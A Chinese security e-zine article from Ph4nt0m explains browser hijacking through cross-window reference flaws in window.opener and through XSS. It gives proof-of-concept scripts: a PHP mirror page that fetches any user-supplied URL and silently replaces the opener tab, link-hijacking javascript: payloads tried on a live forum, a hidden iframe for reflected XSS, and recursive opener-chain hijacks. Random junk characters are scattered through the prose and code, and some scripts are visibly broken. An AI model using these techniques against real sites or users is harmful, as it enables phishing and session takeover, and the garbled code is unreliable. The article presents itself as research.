==Ph4nt0m Security Team==
; Y5 n6 n3 o D) N : b# E6 H0 e! C3 @5 ~; E( T
Issue 0x03, Phile #0x05 of 0x07
K: w. q9 R, I 5 v1 q4 c2 O0 c
7 b+ u. V G/ s R' E5 L|=---------------------------------------------------------------------------=|
$ d+ K4 e( p) T" `! \; J|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
& s$ T' C" K' L3 ^: ?( D|=---------------------------------------------------------------------------=|
' n, P! s/ ~5 l1 B|=---------------------------------------------------------------------------=|' u! I; V. V8 E. ~" t
|=------------------------=[ By rayh4c ]=---------------------------=|
0 p7 A! R4 z0 A2 N|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
& @: i9 W( j' l|=---------------------------------------------------------------------------=|
) M( G6 u0 W: R f
, z8 `: C' E1 I
3 M/ l8 Y, b2 m% }[目录]( s# V7 V- q/ k( d, t- Y
" S1 D. L* K' I% M4 ^: ^, g* G ~* Y1. 前言$ u Z* w3 e. z
2. 同源策略简叙6 K7 A9 F9 i# K: @' n5 l- N/ u
3. 理解window对象的同源策略
1 g0 l. i1 ]" \1 ^, o4. 窗口引用功能中的同源策略漏洞
3 j1 a2 ~7 q. Q8 r 4.1 父窗口引用子窗口的同源策略问题
( @, E6 T9 f: S/ x" | 4.2 子窗口引用父窗口的同源策略问题; k+ o' P+ O/ s4 a- |: A7 k
5. 利用窗口引用漏洞劫持浏览器1 C: [4 T, x+ A
6. 利用XSS漏洞劫持浏览器
; t2 |, m0 |8 i 6.1 正向跨窗口劫持
9 m Q8 \) a6 q6 ^* u; t6 K 6.2 反向跨窗口劫持! Z0 V6 |; |. u5 j
6.3 极度危险的跨框架窗口引用劫持
3 K( a; \. Y8 h' B% @! Y8 ` 6.4 极度危险的正反向跨窗口递归劫持
& p, {. \( t- H$ `1 d8 s 6.5 完全控制浏览器8 z7 ~# `6 L6 |" z% T# _( j
7. 后记6 u# X$ F& u: L3 n( Z/ t* Q
8. 参考2 b( V: N! x. \7 M5 k
7 C) Y$ G9 ]& A: b; h' k7 C
/ z7 z$ q) q2 u2 z
一、前言
4 H; Z6 Q5 C1 G* Z% T
5 L5 w- R5 ~, Z% D 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋, M6 ^: R7 J$ W$ K- u
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session" j3 ~$ V4 z6 b$ z
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被# ?/ a9 q# @4 I' f) O; @0 Y! ?
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。5 s) f/ D- k& ]
% U" Y2 ?0 D! |& A" i
& q' @$ r9 k" O4 T( i! C+ }
二、同源策略简叙) e- W% @3 P' X2 `# ^ K3 A
) f& A4 A" l" |6 d, Z- x
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以! a* `3 y2 R8 t" M) d1 z
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都( w$ `, K) n/ b
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
4 j5 b2 ]# v3 t- v4 S马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个2 M6 `0 a3 X3 T2 k# O+ R8 G7 V
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。# a# ]" S: M! a# e
1 c; K5 p, v2 G; E
; x) \9 W/ t: q4 T# s5 w% N, Q
三、理解window对象的同源策略: o* b; {' @* `/ w3 x9 u1 E
4 n8 y9 b0 A% g
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, O. A+ j$ `+ e
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
5 I1 }" D# t( I& F! V1 H# u& E$ F. L" U7 d
--code-------------------------------------------------------------------------& u- F7 V5 o3 V4 v
<script language="javascript">
; k! `" f1 u, f8 I4 l3 Cfor(p in window) document.write(p+"<br>");
) } D5 G; q) C</script>3 r! O/ |/ ?, N; ?% @
-------------------------------------------------------------------------------3 z( `) X1 G- w* K, i1 n
. w& i- F: m. K
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方0 K! Y3 _" j: z9 m( f K; { q$ U/ B
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
# U( m; C" u9 }- j这些属性和方法就必须遵循同源策略。
: u7 Z% z. g$ b9 J, V6 u& g) c( H+ j
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
8 }4 }% l$ h( B么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须( m0 k( p |" t' J& {
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这) Q+ O% n( H5 i, w) U( S2 z
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的, k# v9 X2 n8 L7 I/ d1 _* ~
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location' k( w+ Z' y2 F$ e
属性并没有被拒绝访问。2 x8 a) k3 C) o: g4 Z, ^- h
) v/ R2 c! ]1 R: c8 |3 N--demo.html--------------------------------------------------------------------
N4 L! r. z/ }. E5 K/ E( u<script language="javascript"> - _+ @+ y% t( @4 c O
function allPrpos(obj) {
, ^/ [5 Y$ o' H- B! @6 g var props = "<table><tr><td>名称</td><td>值</td>"; 0 ?: Y1 T. x0 [& U# g- |
for(var p in obj){ # o( D; r) u# @9 ~ V4 J
if(typeof(obj[p])=="function"){ , p1 t& b2 U+ R1 `
obj[p](); + q6 o# G# u2 l4 }$ g, Q: W
}else{
2 I" S5 v& p. b | try
0 w% N" t. @' n j9 L* Y& V {
# M1 \9 x; Z" J. j# L. ~9 }& |. L; m props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
+ A6 D+ [/ x. C z }
' H7 f7 c$ o( z; Z0 n catch (ex) 6 y4 i9 R' G) @) \* E2 O* k1 b
{ , K2 t( Z6 U( K
" D$ w2 D/ I+ i! v4 V
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; " J4 s# }6 P7 S
} ) Y4 X. g( X2 }7 A! [
4 j5 O. `' d4 ^! l& L6 g
}
1 X- M) a! ?2 b } ! f4 ?+ u2 ]$ F, C% ^# ]3 Q/ T$ T+ M) ~
3 M2 `0 ], L9 U" g document.write(props+"</table>");
" {6 U+ _; e) R/ m. i! b( Z} ) l# ~$ ~' z( a7 n5 O+ a3 F
4 O4 a6 R3 _+ |) ~& ?function createWin() {
+ C8 J# L' @( n9 W+ t5 E- G6 R( N newWin = window.open ("http://www.google.com");
+ n t! b+ k# Q1 D setTimeout(function(){allPrpos(newWin)},2000);
4 z) L, a+ |" m} & `! |7 F P# T H- ^8 Y
! q# {7 N3 ^! q& L5 N7 i/ g
</script> ! C, S4 O5 l5 J# B
/ Y3 J4 C7 D# E/ K) e8 G
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 w; j' u( J! v6 [! P N-------------------------------------------------------------------------------
- }; p8 f9 ^6 `5 D' `# b" u- r& B( D6 z5 V7 W1 }
0 ` i: B, w! g$ H+ n! E! \
四、窗口引用功能中的同源策略漏洞* P' H$ d& `% w3 A
& A3 ~' ~& }5 d3 j3 P5 [9 r
4.1 父窗口引用子窗口的同源策略问题) A$ F+ p: a2 l d2 E( Z+ ~
* [8 a; G* o& D' w2 w! T- _
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
4 P8 Z% z3 a4 g8 e' B但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道! j3 H. C( m- ~6 e" n
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
2 `: `/ @1 L% U/ {行测试,会发现父窗口可以控制非同源子窗口location属性值。
7 d! c1 B; j, \9 u
! |5 N6 u9 a' C8 X0 i9 o0 g8 X--vul1.html--------------------------------------------------------------------4 _2 n# u& _( X9 g9 M( L
<script language="javascript">
" G( f9 J' q5 n2 K, d- dfunction createWin() { : z( l5 ~& b* y' a% Y
newWin = window.open ("http://www.google.com"); # D5 Y n4 Z* ^; W+ }' H" w* `
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); # a) L1 p, `9 q+ Z# w- D
}
; t/ S4 N9 F |3 R' ^4 B; Y</script>
% @3 S: J$ L. V. C! [1 t5 c# C
4 U u: x; X" q# ]- R) w4 }' R<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. C$ r- T/ J2 o-------------------------------------------------------------------------------2 R" h+ z$ ?' {2 Z! P+ W8 _
2 i( ]+ {; V* O
, i, g) V5 I. \, V4.2 子窗口引用父窗口的同源策略问题' Z/ o0 w1 F9 m* Z- w2 w
( K. g# f9 Q; ]; b) h+ b
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使' @8 p- @3 i: }) n* [$ |
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们) O2 r, k6 v5 l0 y* e: ~4 F# j" a
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
( ~4 S" s5 e! C B# t会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
1 t9 q5 u: V/ t: d5 ?3 A: r" t# k- K1 w- U
--code-------------------------------------------------------------------------: t' f3 @- V. A7 q: C
8 U2 L1 x; { [
javascript:window.opener.location = "http://www.80sec.com";void(0);" O1 ]% ~% x# ^! A0 h( G6 L
& b& J# w7 Q, H$ y4 `6 o% [ e1 z-------------------------------------------------------------------------------
$ ^( Y! x6 M1 B8 x* H) ~( q( A2 b! E O' B& u! R- V& H A
( O$ {, P0 T3 j5 ?5 v7 r
五、利用窗口引用漏洞劫持浏览器- P D, m1 Y2 h" u' d1 ?
, ]' {+ A' ^# f& |* J 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子5 C" x8 R5 m7 Y! m" Z: R
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那% L: |0 V; W' s8 f/ I* `
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
" H0 J7 g' Z ]) X+ B
# x+ [) v% y/ G 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产1 I2 K1 _! B* Y) w+ L
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
6 B6 h$ Z2 e( U) a, w4 q) I: {8 {者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
/ P5 z; g: P* m: i8 W后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
% T( R! a, x( W( |0 b0 i- |会产生什么可怕的后果。
1 |: K9 K, [+ ^* i" _6 f9 ]4 z" Q1 S
2 F" n4 z1 b/ S' p7 p. E" @; y: J$ V 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
" m2 f, F' e( m l4 h们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php, P2 Y: j0 t% Z! z" A& a; g
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时; l, {" T: ^+ n
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
5 i: G) u% g" m9 r* C# y以做更多的事情,所有的一切仅仅是因为点击了一个链接。
0 W. |) A( V/ o4 T; `9 I* ^1 i k, g# G8 }2 i( e0 k5 w/ D
--hjk_ref.php------------------------------------------------------------------
R/ N# Y# a( ]' z- B+ \% ~# q4 k<?php
6 y% F) v% o* M n* cif (array_key_exists("HTTP_REFERER", $_SERVER)) {6 M* k9 K$ g4 X- P3 {
$Url_Mirror = $_SERVER["HTTP_REFERER"];2 f4 \! T/ S& M/ Y' ?# k
} _5 L! N8 w5 D0 s0 C& o, g1 C
if(isset ($_GET['ref'])) { R c z( V1 r5 N! d
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';6 ~: k$ l$ F' e3 a
}
4 b+ N1 z# V6 m0 {?>/ @. V' X3 s/ W9 h- h
6 j8 E7 U }+ q/ U* W1 F5 A
<script language="javascript">1 G! R! k1 l3 y# E: C K
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); * L2 b+ L, @2 p1 n
</script>
& p0 m( j$ ^: t3 Z4 F, U-------------------------------------------------------------------------------
0 h( q4 b; Q6 H: j7 y6 W t2 j5 d& H j
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
$ Y( Q' d% |" ]; V
- x& `7 C) Y# }8 @8 L8 t
/ Z% D1 S( C3 A9 J1 e! E六、利用XSS漏洞劫持浏览器
I7 t; b& T$ i+ ^ }4 m
/ d/ }3 x! @0 K* b8 c$ q 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
7 {2 `/ l" a8 s% O; Z持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后, K' k6 E5 @' b+ N* u# |
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起" Q- X# F4 p1 K! n6 r6 a0 g
讨论跨站师的终极技巧:# [! [2 F- s# P( e* f9 u5 U
8 D8 C" I; ]5 C
/ o: T- U# d6 v' P& v& y6.1 正向跨窗口劫持( f/ C7 C2 ]* a, t9 C
8 ]- v) r" f. ?4 b% o' w$ z 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
5 F5 x/ _3 s8 X2 F主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链$ ~: x, b/ _; M6 a1 m, |# ]
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
( d. Y" P! d7 U N/ v' q4 c/ R框脚本。 {+ G _! Q0 ~" o( S. I
* Z( |7 z: x3 @# _
--hijack_open.js---------------------------------------------------------------. V4 V, p H' o; O& M
* @7 P5 I& R. r0 Jjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);, E$ i1 Z0 g& d* H
' o; p! G0 B$ }5 c+ U-------------------------------------------------------------------------------
' P3 K* @# o' M8 n. f6 i! K
& Y2 m. u6 N( m8 k
' g% {1 P- @$ w# J( k, P& g3 a6.2 反向跨窗口劫持$ ~+ M) @0 l/ B" W) ^7 D& |
8 L! C" {$ d; r! K0 C) Z 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
, d4 ]; @3 B% G, _$ }* `. d码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
7 P2 ?0 `! u# w6 S8 M$ C) ~框脚本。
5 {3 z6 d. D. R, A9 S0 {. c+ Z( n0 ^. c1 s" o. [
--hijack_opener.js-------------------------------------------------------------5 R/ y8 {4 p: W
8 \2 k8 x+ G6 vjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);0 c" u1 H- T: H% f- q/ u) F
" Z1 Z& M: G) N2 v
-------------------------------------------------------------------------------
8 W* u& Q( t3 d, X- E' `* O' w9 r- H9 F
2 q5 p1 E$ ^7 v6.3 极度危险的跨框架窗口引用劫持1 X- | y5 c8 }
& ~* T# f5 m! d& ~% r9 H2 T ?" x& K# N 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
. k# L/ R( y. }, Z7 @9 l可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就- v2 g5 K' q" k6 u3 f
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
6 o1 E! W; R8 d) g Z! M m非持久型的XSS,如下:9 s( j! P5 e7 V& E% d, Y- J
% p; D9 X" d2 ^8 ~# Q q9 _# F$ l% q. w<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>( U* O% O) ~ [* f8 T& a
/ Q9 p1 J" e, ^9 w* a5 T+ N
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
8 Q. M( i- z6 i, C z" p6 R J% J注入脚本。. \% a6 ?, }* F$ r4 I5 W2 K2 ]
0 i W4 n0 h) \4 w3 A--hijack_frame_opener.js-------------------------------------------------------: Y3 a, \, u8 E
<script> n4 t1 A. A8 ^+ |- R
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";' B3 n `& G4 V( O* f6 }
</script>: A9 x. r; {, P5 b% Q
-------------------------------------------------------------------------------
$ m7 y* n5 D: d! u
J' K% j" `+ t, M4 u* d
& k5 q. q6 c) ?* ]6 z+ s, x1 {6.4 极度危险的正反向跨窗口递归劫持
( p0 i! A$ {! U4 Q' z$ @+ Z- Z) ?5 X# q- K& b+ d% s/ K" P, D
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window6 X9 \' ~( b0 ~& v2 i2 E8 E
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
) L/ S+ s5 f8 H) M( r& [( \& q异常处理规避之间跨域页面的访问异常,代码如下:
3 |) W- O. G% f. b ~/ P: E- ]* {# q* m, r5 P
--code-------------------------------------------------------------------------
: ? B6 U2 \) K9 n& y- K! n& f, Q& ]& o9 H: _: @
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
# A' `5 t( f- @ i- @9 }# G, {: `, J
-------------------------------------------------------------------------------
! C; f0 \$ C, j
& [: M3 j" X" w 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可. D/ H' Y! D& B3 W) K* m: v* d
以劫持B域之前的A域页面,从而实现“隔空打击”。7 B- y$ P5 B$ r# a+ K6 s
5 V) g: p1 ?2 D* i/ S2 y 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面$ T3 d* ~0 J+ i/ W1 `
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。( N9 Z) o; Q/ \6 J
. O( v6 x8 k/ h: z4 L. Y( E4 \% }
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。 H! q( E% z& M6 g, V, R9 ~
" b! G3 H, Q& }" M9 Z1 c2 ~9 q+ V
" n$ ?9 x1 O! A2 F* l
6.5 完全控制浏览器
+ n* L- k5 D7 H6 N# o b W
: a% u/ u. k2 W* z 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则2 a5 z) k7 [8 ` D; Q; o* [
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS' | X& \) {( ~6 U- @1 i) v+ ?
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失/ E2 K. h- X; {3 I1 Q
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
* z" W/ F4 M# }! f列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 k. v6 W( u# ?( L) k ^: ?: w
师的终极目标 - 完全控制浏览器。
% [# r0 U D9 ]$ Q% m- @
, I5 ^+ T& b! R+ J" d( r0 b" ]4 D9 X" o0 U7 p
七、后记
! R! o, M% g) ~% `6 R2 n: F! _- n3 _# Q$ ?. u/ j
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
& W7 g; ` ~2 [' N4 W& U与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
% u( ~/ Q0 B1 h2 f过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
* H" U" v5 |0 e# d0 X3 ~/ l" c K
& C, s1 g) q2 k4 [ \& t
% E% F, H1 i1 X( q4 f4 ^ {7 R八、参考$ `; D% s7 l/ L5 E
# Z; x) z- F1 J8 j! a% b' U" o8 \1. http://en.wikipedia.org/wiki/Same_origin_policy( {# S; G! k6 K0 v: a, `
2. http://code.google.com/p/browser ... licy_for_DOM_access
3 P% ^( p; D, J2 A- a3 D8 s5 q3. http://www.w3.org/TR/Window/
% _/ r+ @8 ]" X, e2 I1 ^; k4. http://www.80sec.com/release/browser-hijacking.txt* I2 ~; `5 r3 O% I/ n% n
5. http://www.80sec.com/all-browser-security-alert.html
3 f' Q, n( s+ N0 m$ x) n8 q* O' ^& O/ S6. http://www.80sec.com/ms08-058-attacks-google.html
$ S# b+ v- }8 G7 y9 o5 `* ?
/ r- Y P- }! m) A5 |" Z-EOF- |